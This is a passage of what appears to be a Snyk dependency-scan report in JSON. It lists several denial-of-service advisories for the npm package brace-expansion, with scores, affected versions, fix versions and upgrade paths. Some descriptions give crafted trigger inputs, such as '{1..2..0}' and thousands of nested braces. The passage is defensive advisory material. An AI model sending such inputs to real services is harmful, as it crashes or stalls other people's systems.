"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
